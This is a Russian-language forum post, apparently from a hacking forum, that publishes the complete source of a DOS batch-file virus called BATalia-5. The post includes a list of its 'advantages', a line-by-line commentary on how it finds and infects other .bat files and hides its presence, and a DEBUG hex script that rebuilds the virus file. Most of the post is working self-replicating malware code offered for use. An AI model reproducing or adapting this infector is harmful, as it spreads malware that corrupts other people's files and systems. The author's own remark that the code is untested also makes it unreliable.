BAT вирус

Тема в разделе "Batch (CMD/BAT)", создана пользователем Research, 6 янв 2024.

  1. Research

    Research Active Member

    Публикаций:
    1
    Регистрация:
    6 янв 2024
    Сообщения:
    133
    Вирус на BAT языке

    Достоинства
    - Написан исключительно на внутренних командах DOS`a.
    - Никаких вставок на ASM
    - Инсталлируется из одного файла
    - Не таскает за собой все зараженные файлы
    - Проверка на повторное заражение
    - Корректная работа с ECHO (ON / OFF)
    - Не выдает посторонних надписей на экран
    и Недостатки:
    - Не будут корректно исполняться файлы с метками, которые присутствуют
    в вирусе - (:s :i :b :e)
    - Не будет корректно работать при %COMSPEC% =! COMMAND.COM
    - Создает в каталоге C:\DOS - два файла, которые затем не удаляет.
    ( данные файлы рекомендуется смотреть, чтобы понять принцип работы вируса)
    Файл BATALIA5.BAT - исходник и запускаемый файл - самого вируса

    Код (Text):
    1. @echo off
    2. rem YYY
    3. if "%1"=="5" goto s
    4. for %%b in (*.bat) do call %0 5 %%b
    5. goto b
    6. :s
    7. copy %2 p>l
    8. echo NNN>>p
    9. echo 1>z1
    10. echo 2>z2
    11. echo 3>z3
    12. del z?/p<p>l
    13. if exist z? goto i
    14. goto e
    15. :i
    16. type %0>b
    17. copy b a/a>l
    18. copy %2 t>l
    19. copy /ba+t %2>l
    20. goto e
    21. :b
    22. echo rem >x
    23. copy x+x+x+x y>l
    24. copy y+y+y+y+y+y z>l
    25. echo @%%comspec%% nul /ccopy c:\dos\y %%0>>z
    26. copy z c:\dos\x>l
    27. copy %0 c:\dos\y>l
    28. del ??>l
    29. echo on
    30. @copy c:\dos\x %0>nul
    31. :e
    32. :[BATalia-5] (c) by Reminder
    Вирус должен занимать 491 байт и завершаться байтами 0d,0a,1a после
    строки Reminder
    Комментарии к вирусу
    Код (Text):
    1. ;(c) by Reminder (New Original BAT-VIRII) (Without ASM) (Only internal DOS)
    2. @echo off ; эхо AKA "ОТОБРАЖЕНИЕ КОМАНД" выключено
    3. rem YYY ; Метка вируса
    4. if "%1"=="5" goto s ; если вызван с параметром 2 то собсно обработчик
    5. for %%b in (*.bat) do call %0 5 %%b ; Перебор всех батников в текущем каталоге
    6. ; и если найден хоть один, то вызов себя же с параметрами [2] и [имя батника]
    7. goto b ; конец перебора - отдать управление зараженной программе
    8. :s ; начало обработчика
    9. copy %2 p>l ; скопировать найденный батник в p
    10. echo NNN>>p ; добавить в конец p строку NNN
    11. echo 1>z1 ; создать файл z1 со строкой 1
    12. echo 2>z2 ; создать файл z2 со строкой 2
    13. echo 3>z3 ; создать файл z3 со строкой 3
    14. del z?/p<p>l ; Происходит удаление созданных 3 файлов, на основе
    15. ; информации, полученной из найденного батника (в дальнейшем - батника)
    16. ; если батник уже заражен нами - то произойдет удаление всех файлов -
    17. ; ( строка YYY в начале вируса ) - если в теле батника нет нужных букв
    18. ; N или Y - то строка NNN добавленная нами в конец батника не даст
    19. ; застыть команде DEL в ожидании нажатия на клавиатуру.
    20. if exist z? goto i ; если существует хоть один файл Z? - то батник
    21. ; не заражен вирусом и поэтому подлежит заражению.
    22. goto e ; если вдруг батник уже с вирусом - вернемся к перебору.
    23. :i ; процедура заражения
    24. type %0>b ; скопировать чистый вирус (до байта 0A) в файл b
    25. copy b a/a>l ; скопировать чистый вирус в файл a с добавлением 0A в конец
    26. copy %2 t>l ; скопировать батник в файл t
    27. copy /ba+t %2>l ; скопировать вирус с 0A + t в батник (внедрится в начало)
    28. goto e ; продолжить перебор
    29. :b ; Процедура передачи управления старой (нашей) проге
    30. echo rem >x ; деоаем файл x со строкой rem, пробелами и ентером
    31. copy x+x+x+x y>l ; файл y уже будет содержать 4 rem`а, пробелы и 4 ентера
    32. copy y+y+y+y+y+y z>l ; файл z будет содержать 24 rem`a, пробелы и 24 ентера
    33. echo @%%comspec%% nul /ccopy c:\dos\y %%0>>z ; в конец файла z добавляется
    34. ; вышеследующая строка
    35. copy z c:\dos\x>l ; и этот файл z - копируется в c:\dos\x
    36. copy %0 c:\dos\y>l ; а наша (исполняемая) прога в c:\dos\y
    37. del ??>l ; удаляем все промежуточные файлы
    38. echo on ; эхо включено
    39. @copy c:\dos\x %0>nul ; ---------
    40. :e ; |
    41. :[BATalia-5] (c) by Reminder ; |
    42. ; <
    43. ; копиpуется наш c:\dos\x AKA z в текущий batник
    44. ; и начинает испонятся вместо :e и т.д.
    45. ; со стpочкой @%comspec% nul /ccopy c:\dos\y %0
    46. ; запускается копия комманд кома - на одну команду - копирование
    47. ; ( nul - это чтобы ничего на экран не показывать.)
    48. ; и соответсно c:\dos\y преврашается в %0,
    49. ; то есть восстанавливает наш батник
    50. ; то есть смысл в том:
    51. ; в конце нашего виpуса стоит 1A - конец TXT файла.
    52. ; когда исполняется batник то пpи встpече 1A он
    53. ; заканчивает pаботу. HО нам же надо исполнить заpаженный
    54. ; файл и посему я пеpехожу ЗА 1A без его исполнения.
    55. ; Это делается таким обpазом:
    56. ; Исполняется batник, и вдpуг, пpямо пеpед испонением 1A
    57. ; его заменяют на дpугой,только что созданный,
    58. ; и вот он вместо 1A делает copy [сохpаненный batник] [текущий batник]
    59. ; то есть копиpует стаpый, сохpаненный пpедваpительно batник
    60. ; обpатно и он начинает испонятся дальше, пpопустив 1A.
    61. ; последовательность исполняемых команд:
    62. ; copy c:\dos\x %0 >nul
    63. ; copy c:\dos\y %0 [ без nul ]
    64. ; оpигинальное тело заpаженного batника
    65. ; пpопустив :e,:[BATalia-5] ... ,1A.
    Вирус в виде дебаговского скрипта
    Файл BATALIA5.SCR - файл вырезать и запустить так: DEBUG < BATALIA5.SCR
    и получите в текущем каталоге файл BATALIA5.BAT
    Код (Text):
    1. N BATALIA5.BAT
    2. E 0100 40 65 63 68 6F 20 6F 66 66 0D 0A 72 65 6D 20 59
    3. E 0110 59 59 0D 0A 69 66 20 22 25 31 22 3D 3D 22 35 22
    4. E 0120 20 67 6F 74 6F 20 73 0D 0A 66 6F 72 20 25 25 62
    5. E 0130 20 69 6E 20 28 2A 2E 62 61 74 29 20 64 6F 20 63
    6. E 0140 61 6C 6C 20 25 30 20 35 20 25 25 62 0D 0A 67 6F
    7. E 0150 74 6F 20 62 0D 0A 3A 73 0D 0A 63 6F 70 79 20 25
    8. E 0160 32 20 70 3E 6C 0D 0A 65 63 68 6F 20 4E 4E 4E 3E
    9. E 0170 3E 70 0D 0A 65 63 68 6F 20 31 3E 7A 31 0D 0A 65
    10. E 0180 63 68 6F 20 32 3E 7A 32 0D 0A 65 63 68 6F 20 33
    11. E 0190 3E 7A 33 0D 0A 64 65 6C 20 7A 3F 2F 70 3C 70 3E
    12. E 01A0 6C 0D 0A 69 66 20 65 78 69 73 74 20 7A 3F 20 67
    13. E 01B0 6F 74 6F 20 69 0D 0A 67 6F 74 6F 20 65 0D 0A 3A
    14. E 01C0 69 0D 0A 74 79 70 65 20 25 30 3E 62 0D 0A 63 6F
    15. E 01D0 70 79 20 62 20 61 2F 61 3E 6C 0D 0A 63 6F 70 79
    16. E 01E0 20 25 32 20 74 3E 6C 0D 0A 63 6F 70 79 20 2F 62
    17. E 01F0 61 2B 74 20 25 32 3E 6C 0D 0A 67 6F 74 6F 20 65
    18. E 0200 0D 0A 3A 62 0D 0A 65 63 68 6F 20 72 65 6D 20 20
    19. E 0210 20 20 20 20 20 20 20 20 20 20 20 20 00 3E 78 0D
    20. E 0220 0A 63 6F 70 79 20 78 2B 78 2B 78 2B 78 20 79 3E
    21. E 0230 6C 0D 0A 63 6F 70 79 20 79 2B 79 2B 79 2B 79 2B
    22. E 0240 79 2B 79 20 7A 3E 6C 0D 0A 65 63 68 6F 20 40 25
    23. E 0250 25 63 6F 6D 73 70 65 63 25 25 20 6E 75 6C 20 2F
    24. E 0260 63 63 6F 70 79 20 63 3A 5C 64 6F 73 5C 79 20 25
    25. E 0270 25 30 3E 3E 7A 0D 0A 63 6F 70 79 20 7A 20 63 3A
    26. E 0280 5C 64 6F 73 5C 78 3E 6C 0D 0A 63 6F 70 79 20 25
    27. E 0290 30 20 63 3A 5C 64 6F 73 5C 79 3E 6C 0D 0A 64 65
    28. E 02A0 6C 20 3F 3F 3E 6C 0D 0A 65 63 68 6F 20 6F 6E 0D
    29. E 02B0 0A 40 63 6F 70 79 20 63 3A 5C 64 6F 73 5C 78 20
    30. E 02C0 25 30 3E 6E 75 6C 0D 0A 3A 65 0D 0A 3A 5B 42 41
    31. E 02D0 54 61 6C 69 61 2D 35 5D 20 28 63 29 20 62 79 20
    32. E 02E0 52 65 6D 69 6E 64 65 72 0D 0A 1A
    33. RCX
    34. 01EB
    35. W
    36. Q
    P.S. Это все еще не тестировалось так что pls не отзываться плохими словами

    У нас тут своя атмосфера.